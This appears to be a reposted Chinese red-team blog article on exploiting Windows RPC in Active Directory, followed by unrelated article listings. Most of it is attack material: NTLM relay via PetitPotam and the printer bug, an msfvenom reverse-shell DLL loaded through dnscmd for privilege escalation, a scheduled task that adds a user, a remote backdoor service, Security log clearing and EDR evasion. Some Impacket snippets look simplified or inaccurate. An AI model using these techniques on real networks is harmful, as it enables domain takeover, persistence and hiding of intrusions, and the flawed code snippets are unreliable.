news 2026/6/15 12:12:29

从红队实战角度解析Windows RPC协议的渗透利用技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从红队实战角度解析Windows RPC协议的渗透利用技巧

1. Windows RPC协议基础与红队视角

Windows RPC(Remote Procedure Call)是微软实现的一套进程间通信机制,它允许程序像调用本地函数一样执行远程计算机上的代码。在红队行动中,RPC协议就像一把"万能钥匙"——AD域控、文件服务器、数据库服务等核心系统都依赖RPC进行通信,这使得它成为内网渗透的重要突破口。

我曾在一次实战中遇到这样的情况:通过一个普通的域用户权限,利用RPC协议漏洞在30分钟内就拿到了域控权限。这让我深刻认识到,理解RPC协议的工作机制对红队工程师而言,就像厨师了解火候一样关键。

1.1 RPC协议的三层架构

Windows RPC协议栈可以形象地比作一个快递系统:

  • 应用层:就像寄件人填写快递单,定义要调用的函数(如创建用户、执行命令)
  • MIDL层:类似快递打包站,将参数序列化为NDR(Network Data Representation)格式
  • 传输层:相当于快递运输,支持以下通道:
    - TCP/IP(ncacn_ip_tcp) - SMB命名管道(ncacn_np) - HTTP(ncacn_http) - Local RPC(ncalrpc)

1.2 关键端口与服务

在实战中,这些端口就像攻击面的"地标":

  • 135端口:RPC Endpoint Mapper,相当于服务目录中心
  • 动态端口:49152-65535范围内,实际服务运行端口
  • 445端口:SMB上的RPC调用通道

通过以下命令可以快速定位服务位置:

rpcdump.py 192.168.1.100 | grep -i "MS-TSCH" # 查找任务计划服务

1.3 RPC与AD域的关系

Active Directory中80%的核心功能都依赖RPC协议,比如:

  • 域用户认证(Netlogon服务)
  • 组策略同步(GPO)
  • 域控间数据复制(DRS接口)

在一次红队演练中,我们曾通过PetitPotam漏洞强制域控向我们的服务器发起认证,仅用以下命令就实现了NTLM中继攻击:

python3 petitpotam.py -d demo.com -u user -p pass 192.168.1.1 10.0.0.2

2. RPC信息收集技巧

2.1 服务枚举技术

使用Impacket工具包可以像"雷达扫描"一样发现可用服务:

rpcdump.py 192.168.1.100 | tee rpc_services.txt

典型输出示例:

Protocol: [MS-TSCH] Task Scheduler Provider: taskcomp.dll UUID : 86D35949-83C9-4044-B424-DB363231FD0C v1.0

2.2 网卡信息泄露

通过IOXIDResolver接口可以无需认证获取目标网卡信息,这在定位"跳板机"时特别有用:

from impacket.dcerpc.v5 import transport, ioxidresolver binding = r'ncacn_ip_tcp:192.168.1.100[135]' trans = transport.DCERPCTransportFactory(binding).get_dce_rpc() trans.connect() dce = ioxidresolver.IOXIDResolver(trans) dce.ServerAlive2()

这个技巧曾帮助我们在某次演练中发现了管理员疏忽暴露的双网卡服务器。

2.3 用户与组枚举

当获取到低权限账户后,rpcclient就像一把"万能钥匙":

rpcclient -U 'user%password' 192.168.1.100 -c 'enumdomusers'

输出示例:

user:[Administrator] rid:[0x1f4] user:[SQLService] rid:[0x452]

3. 权限提升实战手法

3.1 MS-SAMR密码修改漏洞

在拿到普通用户权限后,可以通过SAMR接口修改密码(需知道原密码):

from impacket.dcerpc.v5 import samr # 建立SAMR连接 samr_con = samr.SamrConnect2(target_ip) # 打开域账户 user_handle = samr.SamrOpenUser(samr_con, user_rid) # 修改密码 samr.SamrChangePasswordUser(user_handle, old_pw, new_pw)

3.2 DNSAdmin到SYSTEM提权

当用户属于DNSAdmins组时,可以通过加载恶意DLL实现提权:

  1. 生成恶意DLL:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > evil.dll
  2. 通过RPC配置DNS服务:
    dnscmd.exe /config /serverlevelplugindll \\10.0.0.1\share\evil.dll
  3. 重启DNS服务触发

3.3 计划任务滥用

通过MS-TSCH接口创建隐藏计划任务:

from impacket.dcerpc.v5 import tsch # 创建XML任务定义 xml = """<?xml version="1.0"?> <Task><Actions><Exec> <Command>cmd.exe</Command> <Arguments>/c "net user hacker P@ssw0rd /add"</Arguments> </Exec></Actions></Task>""" # 调用RPC接口 tsch.SchRpcRegisterTask(target_ip, "\\evil_task", xml, 0x2, None, 0)

4. 横向移动高级技巧

4.1 票据传递攻击

当获取到Kerberos票据后,可以通过RPC进行验证:

export KRB5CCNAME=/tmp/admin.ccache python3 wmiexec.py -k -no-pass domain/admin@dc01.demo.com

4.2 打印机漏洞利用

利用MS-RPRN强制认证进行中继攻击:

from impacket.dcerpc.v5 import rprn binding = r'ncacn_np:192.168.1.100[\PIPE\spoolss]' dce = rprn.DCERPC(binding) dce.bind(rprn.MSRPC_UUID_RPRN) dce.call(rprn.RpcRemoteFindFirstPrinterChangeNotificationEx, ...)

4.3 服务控制器滥用

通过MS-SCMR接口远程创建服务:

from impacket.dcerpc.v5 import scmr # 连接服务控制器 scmr_con = scmr.OpenSCManagerW(target_ip) # 创建服务 service = scmr.CreateServiceW(scmr_con, "Backdoor", "Backdoor", lpBinaryPathName="cmd.exe /c calc.exe") # 启动服务 scmr.StartServiceW(scmr_con, service['lpServiceHandle'])

5. 防御规避与反制

5.1 绕过EDR检测

通过直接RPC调用替代常见命令:

  • SamrEnumerateUsersInDomain替代net user
  • NetrShareEnum替代net share

5.2 日志清除技术

通过事件日志RPC接口清除日志:

from impacket.dcerpc.v5 import even dce = even.DCERPC(binding) dce.bind(even.MSRPC_UUID_EVEN) dce.call(even.ElfrClearELFW, "Security")

5.3 隐蔽通道构建

利用RPC over HTTP创建隐蔽通道:

RpcServerUseProtseqEp( L"ncacn_http", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, L"8080", NULL);

在实战中,我曾见过攻击者将RPC流量伪装成正常HTTPS通信,持续潜伏超过6个月未被发现。这提醒我们,防御方必须对RPC流量进行深度行为分析,而不仅仅是端口检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/11 11:32:10

AI画质修复开源工具零基础教程:让你的图像资源一键焕新

AI画质修复开源工具零基础教程&#xff1a;让你的图像资源一键焕新 【免费下载链接】Waifu2x-Extension-GUI Video, Image and GIF upscale/enlarge(Super-Resolution) and Video frame interpolation. Achieved with Waifu2x, Real-ESRGAN, Real-CUGAN, RTX Video Super Resol…

作者头像 李华
网站建设 2026/6/14 20:34:26

Video2X超分辨率工具:Windows图形界面版部署与优化指南

Video2X超分辨率工具&#xff1a;Windows图形界面版部署与优化指南 【免费下载链接】video2x A lossless video/GIF/image upscaler achieved with waifu2x, Anime4K, SRMD and RealSR. Started in Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_Trending…

作者头像 李华
网站建设 2026/6/9 20:05:19

数据血缘可视化工具全景指南:从零到精通的革新之路

数据血缘可视化工具全景指南&#xff1a;从零到精通的革新之路 【免费下载链接】sqlflow_public Document, sample code and other materials for SQLFlow 项目地址: https://gitcode.com/gh_mirrors/sq/sqlflow_public 数据血缘可视化是现代数据治理的核心技术&#xf…

作者头像 李华
网站建设 2026/6/10 21:19:17

开源音乐播放器Feishin:重新定义你的音乐体验

开源音乐播放器Feishin&#xff1a;重新定义你的音乐体验 【免费下载链接】feishin A modern self-hosted music player. 项目地址: https://gitcode.com/gh_mirrors/fe/feishin 在数字音乐时代&#xff0c;一款优秀的音乐播放器不仅是播放工具&#xff0c;更是连接人与…

作者头像 李华
网站建设 2026/5/29 18:55:16

加密算法识别太难?这款工具让破解效率提升10倍的秘密

加密算法识别太难&#xff1f;这款工具让破解效率提升10倍的秘密 【免费下载链接】help_tool 推理算法助手(降维打击) 项目地址: https://gitcode.com/gh_mirrors/he/help_tool 在数字世界的隐秘角落里&#xff0c;加密算法如同守护宝藏的复杂锁具&#xff0c;而"…

作者头像 李华